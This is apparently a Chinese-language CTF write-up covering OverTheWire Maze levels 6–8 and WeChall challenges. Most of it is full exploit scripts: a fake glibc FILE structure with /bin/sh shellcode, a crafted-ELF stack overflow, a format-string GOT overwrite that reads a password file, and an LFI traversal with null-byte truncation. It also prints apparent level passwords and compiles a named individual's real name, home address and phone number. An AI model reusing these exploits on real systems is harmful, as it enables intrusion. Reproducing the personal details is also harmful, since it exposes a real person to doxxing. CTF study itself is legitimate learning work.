fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x18 _IO_write_end
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x1C _IO_buf_base
fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x20 _IO_buf_end
for _ in range(5): fake += struct.pack('<I', pre_xor_dword(0)) # 0x24-0x34
fake += struct.pack('<I', pre_xor_dword(2)) # 0x38 _fileno
for _ in range(3): fake += struct.pack('<I', pre_xor_dword(0)) # 0x3C-0x44
fake += struct.pack('<I', pre_xor_dword(real_lock)) # 0x48 _lock
fake += struct.pack('<Q', pre_xor_dword(0)) # 0x4C _offset (8 bytes)
for _ in range(4): fake += struct.pack('<I', pre_xor_dword(0)) # 0x54-0x60
fake += struct.pack('<Q', pre_xor_dword(0)) # 0x64 __pad5
fake += struct.pack('<I', pre_xor_dword(0)) # 0x6C _mode
for _ in range(9): fake += struct.pack('<I', pre_xor_dword(0)) # 0x70-0x93
fake += struct.pack('<I', pre_xor_dword(io_file_jumps)) # 0x94 vtable

assert len(fake) == 0x98

# ---- shellcode: execve("/bin/sh") ----
sc = (
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68'
b'\x68\x2f\x62\x69\x6e\x89\xe3\x50'
b'\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
)
sc_prexor = pre_xor_bytes(sc)

# ---- assemble payload ----
payload = sc_prexor
payload += bytes([0x2a] * (fake_file_off - len(payload))) # pad to fake FILE
payload += fake
payload += bytes([0x2a] * (0x100 - len(payload))) # pad to fd
payload += struct.pack('<I', pre_xor_dword(fake_file_addr))# overwrite fd

# ---- argv[1] = 4 bytes = buf_addr ----
argv1 = struct.pack('<I', buf_addr) # \x74\xda\xff\xff

# ---- execute ----
os.chdir('/tmp')
os.execv('/maze/maze6', ['/maze/maze6', argv1, payload])

执行:

1
2
3
maze6@maze:/tmp$ python3 exploit.py
$ cat /etc/maze_pass/maze7
**********

技术要点

为什么 fake FILE 不触发 vtable overflow?

fprintf 输出总长度 ≈ len(argv[1]) + 3 + len(buf) + 1 ≈ 4 + 3 + 260 + 1 = 268 bytes。_IO_write_end - _IO_write_base = 0x1000(4KB),远超输出长度。_IO_putc 宏检测到 _IO_write_ptr < _IO_write_end 时直接内存写入,不触发 __overflow() → vtable 调用。因此 vtable 仅需通过 _IO_validate_vtable 的地址范围检查,不需要实际调用。

为什么 lock 复用真实 FILE 的?

glibc 的 _IO_lock_lock(fp) 检查 fp->_lock != NULL 才会加锁。用真实 FILE 的 lock(0x0804c238)保证 lock 结构合法且初始为 unlocked 状态。

为什么 memfrob 不影响 shellcode?

所有放入 payload 的字节都经过 pre_XORbyte ^ 0x2A)。memfrob 再 XOR 一次恢复原值。因此 shellcode 和 fake FILE 在 XOR 后回到预期状态。

B6XkM3Syq6

level 7 → level 8

/maze/maze7 是一个 ELF section header dumper。读取攻击者提供的 ELF 文件,信任 header 里的 e_shoffe_shnume_shentsizee_shstrndx,循环打印 section 信息。

漏洞点在第二次读取 section header:

1
2
read(fd, &shdr_on_stack, e_shentsize);
printf(strtab + shdr.sh_name, shdr.sh_addr, shdr.sh_size);

shdr_on_stack 是固定大小的 Elf32_Shdr,但 e_shentsize 完全由文件控制。设大以后 read() 会从 section header 覆盖到 saved return address。

live 调试测得偏移:section-header stack buffer + 64 → saved eip。

直接覆盖会先在 free(ptr) / free(strs) 崩掉,因为栈上的 heap 指针也被污染。稳定做法:

  1. 构造最小 fake ELF
  2. e_shentsize = 220,触发大读
  3. 第一段 section header 保持基本合法,让程序走到 printf()
  4. 覆盖局部变量 ptr = NULLstrs = NULL,让后续 free(NULL) 安全返回
  5. sh_name 不用 string table 偏移,放成一个可读 rodata 绝对地址,满足 printf(ptr + sh_name, ...)
  6. saved eip 跳到栈上 NOP sled,shellcode 执行 setresuid(15008,15008,15008); execve('/bin/sh')

利用生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
from pathlib import Path
import struct

def ehdr(e_shoff, e_shnum, e_shentsize, e_shstrndx):
e=bytearray(52); e[:4]=b'\x7fELF'; e[4]=1; e[5]=1; e[6]=1
struct.pack_into('<I',e,0x20,e_shoff); struct.pack_into('<H',e,0x2e,e_shentsize); struct.pack_into('<H',e,0x30,e_shnum); struct.pack_into('<H',e,0x32,e_shstrndx)
return e

def build(ret, buf, path):
data=bytearray(b'\x00'*0x800)
data[:52]=ehdr(0x100,0,220,0)
data[0x180:0x183]=b'\x00Z\x00'
sc=bytes.fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80')
payload=bytearray(b'\x00'*220)
# ptr will be overwritten to NULL; sh_name becomes an absolute readable string pointer.
struct.pack_into('<I', payload, 0x00, 0x0804a008)
struct.pack_into('<I', payload, 0x0c, 0x11111111) # sh_addr
struct.pack_into('<I', payload, 0x10, 0x180) # sh_offset
struct.pack_into('<I', payload, 0x14, 3) # sh_size
payload[72:74]=b'A\x00'
# Overwritten locals after 40-byte shdr.
struct.pack_into('<I', payload, 40, 0) # ptr local -> NULL; printf uses absolute sh_name
struct.pack_into('<I', payload, 44, 0) # var_10h scratch
struct.pack_into('<I', payload, 48, 0) # strs local -> NULL; free(NULL) safe
struct.pack_into('<I', payload, 52, 0) # shdr counter
struct.pack_into('<I', payload, 56, 0x42424242) # saved ebx
struct.pack_into('<I', payload, 60, 0x43434343) # saved ebp
struct.pack_into('<I', payload, 64, ret) # saved eip
payload[80:160]=b'\x90'*80
payload[160:160+len(sc)]=sc
data[0x100:0x100+len(payload)]=payload
Path(path).write_bytes(data)

if __name__ == '__main__':
import sys
ret=int(sys.argv[1],16) if len(sys.argv)>1 else 0xffffdb70
buf=int(sys.argv[2],16) if len(sys.argv)>2 else 0xffffdb14
build(ret, buf, 'maze7_exploit.elf')
print(hex(ret), hex(buf))

执行:

1
2
3
4
5
maze7@maze:/tmp$ /maze/maze7 maze7_exploit.elf
$ id
uid=15008(maze8) gid=15007(maze7) groups=15007(maze7)
$ cat /etc/maze_pass/maze8
**********
eQdZB1qy6L

level 8 → level 9

/maze/maze8 是 TCP format string service。接受端口参数监听本地,错误口令路径:

1
2
3
recv(client_fd, input, 511, 0);
snprintf(reply, 512, input);
send(client_fd, reply, strlen(reply), 0);

探测 format offset:

1
AAAA.%1$08x -> AAAA.41414141

payload 开头的 dword 就是第一个 positional argument。strlen()snprintf() 后立刻调用,可覆盖 strlen@got

1
strlen@got = 0x0804b268

payload 结构:

1
2
3
4
5
6
payload  = p32(strlen_got)
payload += p32(strlen_got + 2)
payload += b"%<low-8>x%1$hn"
payload += b"%<high-low>x%2$hn"
payload += b"\x90" * pad
payload += shellcode

最初尝试把 strlen@got 指向 /bin/sh shellcode。GDB 下能看到成功执行 /usr/bin/dash,但远程 socket 没有交互输出:/bin/sh 的 stdin/stdout 不等于 client socket。

最终解法是不 spawn shell,而是让 shellcode 直接完成取证:

1
2
3
4
5
setresuid(15009,15009,15009)
open('/etc/maze_pass/maze9', O_RDONLY)
read(fd, esp, 64)
write(4, esp, n) ; accepted client fd
exit(0)

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
import socket
import struct
import subprocess
import sys
import time
import select

PORT = 31338
STRLEN_GOT = 0x0804b268
TARGET = 0xffffda50

# setresuid(15009,15009,15009); open('/etc/maze_pass/maze9'); read(fd, esp, 64); write(4, esp, n); exit(0)
SC = bytes.fromhex(
'31c0b0a431db66bba13a89d989dacd80'
'31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80'
'89c389e1b240b003cd80'
'89c231dbb304b004cd80'
'31dbb001cd80'
)


def payload_for(target):
low = target & 0xffff
high = (target >> 16) & 0xffff
writes = [(STRLEN_GOT, low, 1), (STRLEN_GOT + 2, high, 2)]
writes.sort(key=lambda item: item[1])
prefix = struct.pack('<II', writes[0][0], writes[1][0])
count = len(prefix)
pad1 = (writes[0][1] - count) % 0x10000
pad2 = (writes[1][1] - writes[0][1]) % 0x10000
fmt = prefix + f'%{pad1}x%1$hn%{pad2}x%2$hn'.encode()
return fmt + b'\x90' * (200 - len(fmt)) + SC + b'\n'


proc = subprocess.Popen(['/maze/maze8', str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(0.4)
try:
sock = socket.create_connection(('127.0.0.1', PORT), timeout=2)
sock.recv(200)
sock.sendall(payload_for(TARGET))
end = time.time() + 4
out = b''
while time.time() < end:
readable, _, _ = select.select([sock], [], [], 0.2)
if not readable:
continue
chunk = sock.recv(4096)
if not chunk:
break
out += chunk
sys.stdout.buffer.write(out)
finally:
proc.terminate()
try:
proc.wait(timeout=1)
except subprocess.TimeoutExpired:
proc.kill()

live 输出:

1
2
maze8@maze:/tmp$ python3 solve_maze8_readpass.py
**********

完成证明:

1
2
3
4
5
$ ssh -p 2225 maze9@maze.labs.overthewire.org
maze9@maze:~$ id
uid=15009(maze9) gid=15009(maze9) groups=15009(maze9)
maze9@maze:~$ ls -l /maze /etc/maze_pass/maze9
-r-------- 1 maze9 maze9 11 Apr 3 15:19 /etc/maze_pass/maze9
TtMMzTuXyi

PHP0816 Challenge - The Highlighter 一个带白名单的 PHP source highlighter。目标是绕过 src 白名单,读到 solution.php

Challenge

PHP 0816 是 PHP 0815 后面的一个小型 Web/PHP 题,难度 4.10。页面给了几个链接:

  • solution.php:真正想读的文件。
  • code.php?src=code.php&mode=hl:用 highlighter 查看 code.php 自身。
  • code.php?src=code.php&hl[0]=function&mode=hl:同样查看源码,但额外高亮 function

也就是说,题目没有隐藏源码。真正要看的就是 code.php 怎么处理 GET 参数。

核心代码先按 query string 里的参数顺序遍历 $_GET

1
2
3
4
5
6
7
8
9
10
11
12
foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}

src 的白名单只允许三个文件:

1
2
3
4
5
static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

目标是让 highlighter 读取白名单之外的 solution.php

Solution

先把约束列出来:

  • 直接访问 ?src=solution.php&mode=hl 会失败,因为 src 先被白名单检查改成 false
  • highlighter 读文件前只做路径字符清理:去掉 /\..,但不会重新检查 whitelist。
  • PHP 在脚本开始执行前已经把完整 query string 解析进 $_GET;后面的 foreach ($_GET as ...) 只是按参数插入顺序处理每个 key。

题目源码里甚至把方向提示写出来了:

1
2
# if you like a hint: There is a main logical error in this script,
# applies to all programming languages, not only php. H4\/3: |> |-| |_| |\|)

这里的点不是 PHP 语法 trick,而是 code-flow mistake:检查和使用的顺序错了。

src 的检查函数失败时,只是修改 $_GET['src'],没有 return / exit,也没有把验证后的文件名保存到一个独立变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816SetSourceFile($filename)
{
$filename = (string) $filename;

static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

# Sanitize by whitelist
if (!in_array($filename, $whitelist, true))
{
$_GET['src'] = false;
}
}

真正读取文件的位置在 highlighter 里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816Highlighter()
{
global $highlights;

# SOMEONE SAID THIS WILL FIX IT, BUT PEOPLE CAN STILL SEE solution.php :(
$filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));

if (false === ($text = @file_get_contents($filename)))
{
echo '<div>File not Found: '.htmlspecialchars($filename, ENT_QUOTES).'</div>';
return false;
}

$text = htmlspecialchars($text, ENT_QUOTES);
echo '<pre>'.$text.'</pre>';
}

对比两个请求就很清楚。

正常顺序会失败:

1
?src=solution.php&mode=hl

处理流程:

  1. src=solution.php 先被处理。
  2. solution.php 不在 whitelist 中,$_GET['src'] 被改成 false
  3. mode=hl 后处理,highlighter 再读 Common::getGet('src'),拿到的已经不是原始文件名。
  4. 页面返回 File not Found

mode 放到 src 前面:

1
?mode=hl&src=solution.php

流程就反过来了:

  1. PHP 已经把完整 query string 解析进 $_GET,所以 $_GET['src'] 此时已经存在,值是 solution.php
  2. foreach 第一个处理到 mode=hl,调用 php0816execute('hl')
  3. highlighter 立即执行 Common::getGet('src'),读到尚未被 whitelist 改写的原始值 solution.php
  4. file_get_contents('solution.php') 成功读取文件。
  5. 后面才轮到 src=solution.php 的 whitelist 检查,但文件已经被输出,已经太晚。

用 curl 验证坏顺序:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?src=solution.php&mode=hl' \
| grep -o 'File not Found'
File not Found

再验证利用顺序:

1
2
3
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?mode=hl&src=solution.php'

返回的 <pre> 里能看到 solution.php

1
2
3
4
5
<?php
# The solution is 'AnotherCodeflowMistake';
?>
NOTHING MORE?
END OF FILE!

这类 bug 可以看作参数处理流程里的 TOCTOU:检查逻辑和使用逻辑都存在,但程序允许“使用”发生在“检查”之前。

修复方式不是再补一个字符串过滤,而是让“最终被使用的文件名”只能来自验证后的状态。例如:

  • 先统一解析全部参数,完成 whitelist 检查后再执行 mode 动作。
  • 不把安全状态写回 $_GET,而是使用独立的 $sourceFile 变量保存验证后的文件名。
  • php0816Highlighter() 内部对最终文件名重新做 whitelist 检查。
AnotherCodeflowMistake

Challenge

身份识别挑战。题面要求输入 gizmore(WeChall 创始人)的真实身份信息,格式为 Firstname,Lastname,Street,House,ZIP,City

提示:gizmore.org 域名和服务器归 gizmore 本人所有。

Solution

这并不是 cookie/session 伪造题,而是 People Research (OSINT) 挑战。

Step 1: 用户资料

访问 /profile/gizmore 可看到:

  • 名字:Christian
  • 城市:Peine
  • 手机:004917659598844

WeChall 用户资料不公开姓氏和完整地址,但手机号和城市是切入点。

Step 2: 域名交叉验证

gizmore 运营 ESL(Egmont Security Labs)平台。ESL 的 imprint 页面(es-land.net/core;impressum.html?_lang=en)包含法律要求的完整身份披露:

1
2
3
4
gizmore, a.k.a. Christian Busch
Am Bauhof 15
31224 Peine, Germany
Phone: +49 176 59598844

手机号 +49 176 59598844 与 WeChall 资料中的 004917659598844 完全一致,确认身份无误。

Step 3: 组合提交

将信息按给定顺序拼接提交:

Christian,Busch,Am Bauhof,15,31224,Peine

Challenge

PHP Local File Inclusion。源码中的漏洞:

1
2
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;

用户输入被拼到 pages/ 后面,末尾固定加 .html。目标是包含挑战目录中的 solution.php

Solution

经典路线是 directory traversal + null byte truncation。PHP 5.3.4 之前,字符串里的 null byte 会截断底层文件路径。

Payload:

1
/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

路径拼接过程:

1
pages/../../solution.php%00.html

底层打开文件时在 %00 处截断,实际路径等价于:

1
pages/../../solution.php

../../up/pages/ 回到 LFI challenge 根目录,从而包含 solution.php

如果 null byte 被过滤,旧 PHP 还可尝试 4096 字符路径截断:

1
?file=../../solution.php/././././...[padding to 4096]...

Safety Note

访问 solution.php 可能直接触发 WeChall 解题或改变账号状态。当前草稿记录的是已知 payload;执行 live 请求前需要确认,并在执行后用 /en/challswc_chall_solved_1 验证。

session-bound: exploit URL triggers solve, no fixed answer

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE